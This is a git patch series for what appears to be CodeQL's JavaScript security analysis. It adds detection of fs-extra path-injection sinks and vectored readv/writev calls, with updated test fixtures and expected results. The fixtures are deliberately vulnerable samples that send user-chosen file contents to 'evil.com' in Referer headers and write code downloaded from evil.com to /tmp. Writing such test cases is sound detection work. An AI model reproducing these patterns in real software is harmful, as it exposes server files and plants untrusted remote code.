req.body | more-fs-extra.js:8:11:8:22 | { filename } | provenance | | | normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance | | @@ -870,6 +892,17 @@ nodes | more-fs-extra.js:19:25:19:32 | filename | semmle.label | filename | | more-fs-extra.js:20:21:20:28 | filename | semmle.label | filename | | more-fs-extra.js:21:17:21:24 | filename | semmle.label | filename | +| more-fs-extra.js:22:16:22:23 | filename | semmle.label | filename | +| more-fs-extra.js:23:20:23:27 | filename | semmle.label | filename | +| more-fs-extra.js:24:19:24:26 | filename | semmle.label | filename | +| more-fs-extra.js:25:15:25:22 | filename | semmle.label | filename | +| more-fs-extra.js:26:19:26:26 | filename | semmle.label | filename | +| more-fs-extra.js:27:13:27:20 | filename | semmle.label | filename | +| more-fs-extra.js:28:17:28:24 | filename | semmle.label | filename | +| more-fs-extra.js:29:23:29:30 | filename | semmle.label | filename | +| more-fs-extra.js:30:16:30:23 | filename | semmle.label | filename | +| more-fs-extra.js:31:20:31:27 | filename | semmle.label | filename | +| more-fs-extra.js:32:23:32:30 | filename | semmle.label | filename | | normalizedPaths.js:11:7:11:27 | path | semmle.label | path | | normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path | | normalizedPaths.js:13:19:13:22 | path | semmle.label | path | diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js index a4d83625840..c0715cc9163 100644 --- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js +++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js @@ -19,15 +19,15 @@ app.post('/rmsync', (req, res) => { fs.cpSync("source", filename); // $ Alert fs.emptydirSync(filename); // $ Alert fs.emptydir(filename); // $ Alert - fs.opendir(filename); // $ MISSING: Alert - fs.opendirSync(filename); // $ MISSING: Alert - fs.openAsBlob(filename); // $ MISSING: Alert - fs.statfs(filename); // $ MISSING: Alert - fs.statfsSync(filename); // $ MISSING: Alert - fs.open(filename, 'r'); // $ MISSING: Alert - fs.openSync(filename, 'r'); // $ MISSING: Alert - fs.outputJSONSync(filename, req.body.data, { spaces: 2 }); // $ MISSING: Alert - fs.lutimes(filename, new Date(req.body.atime), new Date(req.body.mtime)); // MISSING: $ Alert - fs.lutimesSync(filename, new Date(req.body.atime), new Date(req.body.mtime)); // MISSING: $ Alert - fs.outputJsonSync(filename, { timestamp: new Date().toISOString(), action: req.body.action, user: req.body.user}, { spaces: 2 }); // $ MISSING: Alert + fs.opendir(filename); // $ Alert + fs.opendirSync(filename); // $ Alert + fs.openAsBlob(filename); // $ Alert + fs.statfs(filename); // $ Alert + fs.statfsSync(filename); // $ Alert + fs.open(filename, 'r'); // $ Alert + fs.openSync(filename, 'r'); // $ Alert + fs.outputJSONSync(filename, req.body.data, { spaces: 2 }); // $ Alert + fs.lutimes(filename, new Date(req.body.atime), new Date(req.body.mtime)); // $ Alert + fs.lutimesSync(filename, new Date(req.body.atime), new Date(req.body.mtime)); // $ Alert + fs.outputJsonSync(filename, { timestamp: new Date().toISOString(), action: req.body.action, user: req.body.user}, { spaces: 2 }); // $ Alert }); From 6e7214747cb3a0765ededfe8a25ec811e6c059b4 Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 13:55:14 +0100 Subject: [PATCH 06/11] Added test cases for `readv` and `readvSync` --- .../Security/CWE-200/FileAccessToHttp.js | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js index 3a06a63410c..e602a6158d5 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js @@ -26,3 +26,36 @@ const fsp = require("fs").promises; console.error("Error reading file:", error); } })(); + +app.post('/readv', async (req, res) => { + const { filename } = req.body; + const fd = await fs.open(filename, 'r'); + + const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ MISSING: Source[js/file-access-to-http] + const { bytesRead } = fs.readvSync(fd, buffer); + https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: buffer } + }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + + const buffer1 = Buffer.alloc(1024); // $ MISSING: Source[js/file-access-to-http] + const { bytesRead1 } = fs.readvSync(fd, [buffer1]); + https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: buffer1.slice(0, bytesRead1).toString() } + }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + + const buffer2 = Buffer.alloc(1024); // $ MISSING: Source[js/file-access-to-http] + fs.readv(fd, [buffer2], (err, bytesRead2) => { + https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: buffer2.slice(0, bytesRead2).toString() } + }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + }); +}); From e63e170ac2e4658e6c0fa18cfc3952ac38deea3d Mon Sep 17 00:00:00 2001 From: Napalys Date: Thu, 27 Mar 2025 13:56:52 +0100 Subject: [PATCH 07/11] Added support for `readv` and `readvSync` functions in `NodeJSFileSystemAccessRead` class . --- .../javascript/frameworks/NodeJSLib.qll | 16 +++++++ .../CWE-200/FileAccessToHttp.expected | 46 +++++++++++++++++++ .../Security/CWE-200/FileAccessToHttp.js | 12 ++--- 3 files changed, 68 insertions(+), 6 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index 73381006a47..81fc4e682c1 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -628,6 +628,22 @@ module NodeJSLib { } } + /** A vectored read to the file system. */ + private class NodeJSFileSystemAccessVectorRead extends FileSystemReadAccess, + NodeJSFileSystemAccess + { + NodeJSFileSystemAccessVectorRead() { methodName = ["readv", "readvSync"] } + + override DataFlow::Node getADataNode() { + result = this.getArgument(1) + or + exists(DataFlow::ArrayCreationNode array | + array.flowsTo(this.getArgument(1)) and + result = array.getAnElement() + ) + } + } + /** * A write to the file system, using a stream. */ diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected index dc269be18f3..bde27032d4f 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected @@ -1,6 +1,9 @@ #select | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data | | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data | +| FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | file data | +| FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | file data | +| FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | file data | | bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data | | googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data | | readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data | @@ -18,6 +21,27 @@ edges | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance | | | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | provenance | | | FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance | | +| FileAccessToHttp.js:34:9:34:57 | buffer | FileAccessToHttp.js:40:25:40:30 | buffer | provenance | | +| FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | FileAccessToHttp.js:34:9:34:57 | buffer | provenance | | +| FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | provenance | | +| FileAccessToHttp.js:40:25:40:30 | buffer | FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | provenance | | +| FileAccessToHttp.js:43:9:43:36 | buffer1 | FileAccessToHttp.js:49:25:49:31 | buffer1 | provenance | | +| FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | FileAccessToHttp.js:43:9:43:36 | buffer1 | provenance | | +| FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | provenance | | +| FileAccessToHttp.js:49:25:49:31 | buffer1 | FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | provenance | | +| FileAccessToHttp.js:49:25:49:31 | buffer1 | FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | provenance | | +| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | provenance | | +| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | provenance | | +| FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | provenance | | +| FileAccessToHttp.js:52:9:52:36 | buffer2 | FileAccessToHttp.js:53:17:53:23 | buffer2 | provenance | | +| FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | FileAccessToHttp.js:52:9:52:36 | buffer2 | provenance | | +| FileAccessToHttp.js:53:17:53:23 | buffer2 | FileAccessToHttp.js:58:27:58:33 | buffer2 | provenance | | +| FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | provenance | | +| FileAccessToHttp.js:58:27:58:33 | buffer2 | FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | provenance | | +| FileAccessToHttp.js:58:27:58:33 | buffer2 | FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | provenance | | +| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | provenance | | +| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | provenance | | +| FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | provenance | | | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance | | | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance | | | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance | | @@ -74,6 +98,28 @@ nodes | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } | | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] | | FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content | +| FileAccessToHttp.js:34:9:34:57 | buffer | semmle.label | buffer | +| FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | semmle.label | [Buffer ... (1024)] | +| FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | semmle.label | {\\n h ... r }\\n } | +| FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | semmle.label | { Referer: buffer } [Referer] | +| FileAccessToHttp.js:40:25:40:30 | buffer | semmle.label | buffer | +| FileAccessToHttp.js:43:9:43:36 | buffer1 | semmle.label | buffer1 | +| FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | semmle.label | Buffer.alloc(1024) | +| FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | semmle.label | {\\n h ... ) }\\n } | +| FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | semmle.label | { Refer ... ing() } [Referer] | +| FileAccessToHttp.js:49:25:49:31 | buffer1 | semmle.label | buffer1 | +| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | semmle.label | buffer1 ... sRead1) | +| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | semmle.label | buffer1 ... sRead1) [ArrayElement] | +| FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | semmle.label | buffer1 ... tring() | +| FileAccessToHttp.js:52:9:52:36 | buffer2 | semmle.label | buffer2 | +| FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | semmle.label | Buffer.alloc(1024) | +| FileAccessToHttp.js:53:17:53:23 | buffer2 | semmle.label | buffer2 | +| FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } | +| FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | semmle.label | { Refer ... ing() } [Referer] | +| FileAccessToHttp.js:58:27:58:33 | buffer2 | semmle.label | buffer2 | +| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | semmle.label | buffer2 ... sRead2) | +| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | semmle.label | buffer2 ... sRead2) [ArrayElement] | +| FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | semmle.label | buffer2 ... tring() | | bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer | | bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) | | bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer | diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js index e602a6158d5..da3d2e86ee8 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js @@ -31,31 +31,31 @@ app.post('/readv', async (req, res) => { const { filename } = req.body; const fd = await fs.open(filename, 'r'); - const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ MISSING: Source[js/file-access-to-http] + const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ Source[js/file-access-to-http] const { bytesRead } = fs.readvSync(fd, buffer); https.get({ hostname: "evil.com", path: "/upload", method: "GET", headers: { Referer: buffer } - }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + }, () => { }); // $ Alert[js/file-access-to-http] - const buffer1 = Buffer.alloc(1024); // $ MISSING: Source[js/file-access-to-http] + const buffer1 = Buffer.alloc(1024); // $ Source[js/file-access-to-http] const { bytesRead1 } = fs.readvSync(fd, [buffer1]); https.get({ hostname: "evil.com", path: "/upload", method: "GET", headers: { Referer: buffer1.slice(0, bytesRead1).toString() } - }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + }, () => { }); // $ Alert[js/file-access-to-http] - const buffer2 = Buffer.alloc(1024); // $ MISSING: Source[js/file-access-to-http] + const buffer2 = Buffer.alloc(1024); // $ Source[js/file-access-to-http] fs.readv(fd, [buffer2], (err, bytesRead2) => { https.get({ hostname: "evil.com", path: "/upload", method: "GET", headers: { Referer: buffer2.slice(0, bytesRead2).toString() } - }, () => { }); // $ MISSING: Alert[js/file-access-to-http] + }, () => { }); // $ Alert[js/file-access-to-http] }); }); From e0c6cbb1b7fb7bb47ceeaaef7529176b519fc9c0 Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 28 Mar 2025 11:21:05 +0100 Subject: [PATCH 08/11] Added test cases for `writev` and `writevSync`. --- .../Security/CWE-912/HttpToFileAccess.js | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js index 3c56f9bdf2f..8975d315c67 100644 --- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js +++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js @@ -6,3 +6,16 @@ https.get('https://evil.com/script', res => { fs.writeFileSync("/tmp/script", d) // $ Alert }); }); + + +https.get('https://evil.com/script', res => { + res.on("data", d => { // $ MISSING: Source + fs.open("/tmp/script", 'r', (err, fd) => { + fs.writev(fd, [d], (err, bytesWritten) => { // $ MISSING: Alert + console.log(`Wrote ${bytesWritten} bytes`); + }); + + const bytesWritten = fs.writevSync(fd, [d]); // $ MISSING: Alert + }); + }); +}); From 495af56ab519e3811d61ee7d7d593ed2e7122ebd Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 28 Mar 2025 11:26:13 +0100 Subject: [PATCH 09/11] Added `NodeJSFileSystemVectorWrite` class for vectored write. --- .../ql/lib/semmle/javascript/frameworks/NodeJSLib.qll | 7 +++++++ .../Security/CWE-912/HttpToFileAccess.expected | 11 +++++++++++ .../query-tests/Security/CWE-912/HttpToFileAccess.js | 6 +++--- 3 files changed, 21 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index 81fc4e682c1..c5f8c3d14f1 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -601,6 +601,13 @@ module NodeJSLib { } } + /** A vectored write to the file system using `writev` or `writevSync` methods. */ + private class NodeJSFileSystemVectorWrite extends FileSystemWriteAccess, NodeJSFileSystemAccess { + NodeJSFileSystemVectorWrite() { methodName = ["writev", "writevSync"] } + + override DataFlow::Node getADataNode() { result = this.getArgument(1) } + } + /** A file system read. */ private class NodeJSFileSystemAccessRead extends FileSystemReadAccess, NodeJSFileSystemAccess { NodeJSFileSystemAccessRead() { methodName = ["read", "readSync", "readFile", "readFileSync"] } diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected index 1fc29a85b64..c94888cc0ae 100644 --- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected +++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected @@ -1,10 +1,16 @@ #select | HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | Write to file system depends on $@. | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data | +| HttpToFileAccess.js:14:21:14:23 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:21:14:23 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data | +| HttpToFileAccess.js:18:46:18:48 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:46:18:48 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data | | tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data | | tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data | | tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data | edges | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | provenance | | +| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:22:14:22 | d | provenance | | +| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:47:18:47 | d | provenance | | +| HttpToFileAccess.js:14:22:14:22 | d | HttpToFileAccess.js:14:21:14:23 | [d] | provenance | | +| HttpToFileAccess.js:18:47:18:47 | d | HttpToFileAccess.js:18:46:18:48 | [d] | provenance | | | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance | | | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance | | | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | provenance | | @@ -15,6 +21,11 @@ edges nodes | HttpToFileAccess.js:5:18:5:18 | d | semmle.label | d | | HttpToFileAccess.js:6:37:6:37 | d | semmle.label | d | +| HttpToFileAccess.js:12:18:12:18 | d | semmle.label | d | +| HttpToFileAccess.js:14:21:14:23 | [d] | semmle.label | [d] | +| HttpToFileAccess.js:14:22:14:22 | d | semmle.label | d | +| HttpToFileAccess.js:18:46:18:48 | [d] | semmle.label | [d] | +| HttpToFileAccess.js:18:47:18:47 | d | semmle.label | d | | tst.js:15:26:15:26 | c | semmle.label | c | | tst.js:16:33:16:33 | c | semmle.label | c | | tst.js:16:33:16:33 | c | semmle.label | c | diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js index 8975d315c67..22c3b1cf2cf 100644 --- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js +++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js @@ -9,13 +9,13 @@ https.get('https://evil.com/script', res => { https.get('https://evil.com/script', res => { - res.on("data", d => { // $ MISSING: Source + res.on("data", d => { // $ Source fs.open("/tmp/script", 'r', (err, fd) => { - fs.writev(fd, [d], (err, bytesWritten) => { // $ MISSING: Alert + fs.writev(fd, [d], (err, bytesWritten) => { // $ Alert console.log(`Wrote ${bytesWritten} bytes`); }); - const bytesWritten = fs.writevSync(fd, [d]); // $ MISSING: Alert + const bytesWritten = fs.writevSync(fd, [d]); // $ Alert }); }); }); From 769fe75d821172bd7a3275465f6151d4b3acb378 Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 28 Mar 2025 13:05:28 +0100 Subject: [PATCH 10/11] Added change note. --- javascript/ql/lib/change-notes/2025-03-28-fs-extra.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/ql/lib/change-notes/2025-03-28-fs-extra.md diff --git a/javascript/ql/lib/change-notes/2025-03-28-fs-extra.md b/javascript/ql/lib/change-notes/2025-03-28-fs-extra.md new file mode 100644 index 00000000000..f30177905ae --- /dev/null +++ b/javascript/ql/lib/change-notes/2025-03-28-fs-extra.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Added support for additional `fs-extra` methods as sinks in path-injection queries. From 75b4d1b771d0c62bc71f6da562390aace1187bd2 Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 28 Mar 2025 13:19:11 +0100 Subject: [PATCH 11/11] Applied copilot suggestions. --- .../test/query-tests/Security/CWE-200/FileAccessToHttp.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js index da3d2e86ee8..cfd8b18eb85 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js @@ -29,10 +29,10 @@ const fsp = require("fs").promises; app.post('/readv', async (req, res) => { const { filename } = req.body; - const fd = await fs.open(filename, 'r'); + const fd = await fsp.open(filename, 'r'); const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ Source[js/file-access-to-http] - const { bytesRead } = fs.readvSync(fd, buffer); + const bytesRead = fs.readvSync(fd, buffer); https.get({ hostname: "evil.com", path: "/upload", @@ -41,7 +41,7 @@ app.post('/readv', async (req, res) => { }, () => { }); // $ Alert[js/file-access-to-http] const buffer1 = Buffer.alloc(1024); // $ Source[js/file-access-to-http] - const { bytesRead1 } = fs.readvSync(fd, [buffer1]); + const bytesRead1 = fs.readvSync(fd, [buffer1]); https.get({ hostname: "evil.com", path: "/upload",